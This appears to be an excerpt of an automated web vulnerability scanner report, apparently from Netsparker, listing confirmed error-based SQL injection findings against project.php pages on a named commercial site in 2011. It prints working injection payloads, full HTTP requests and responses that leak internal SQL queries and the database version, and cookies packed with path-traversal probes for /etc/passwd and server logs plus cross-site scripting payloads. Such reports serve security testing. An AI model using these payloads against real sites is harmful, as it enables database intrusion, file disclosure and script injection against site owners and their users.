count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/wede00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/'Duplicate entry '_!@4dilemma:1' for key 1

- /ppc/leadflow/wede00/project.php

/ppc/leadflow/wede00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/wede00/project.php?catId=20001&iusrc='%2B(select+1+and+row(1%2c..

Parameters

Parameter	Type	Value
catId	GET	20001
iusrc	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'

Extracted Data

5.0.45

Request

GET /ppc/leadflow/wede00/project.php?catId=20001&iusrc='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:23:44 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=hg8g6kep5lprpe7rest98lu0c4; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/'Duplicate entry '_!@4dilemma:1' for key 1

- /ppc/leadflow/lgds00/project.php

/ppc/leadflow/lgds00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/lgds00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select..

Parameters

Parameter	Type	Value
catId	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'
iusrc	GET	iupsc

Extracted Data

5.0.45

Request

GET /ppc/leadflow/lgds00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:23:41 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=q1hi3t6n4n69hivo1d4evbe9l4; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/'Duplicate entry '_!@4dilemma:0' for key 1

- /ppc/leadflow/phsy00/project.php

/ppc/leadflow/phsy00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/phsy00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select..

Parameters

Parameter	Type	Value
catId	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'
iusrc	GET	iupsc

Extracted Data

5.0.45

Request

GET /ppc/leadflow/phsy00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:24:15 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=rpruebc941c547gklms4fomoh6; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

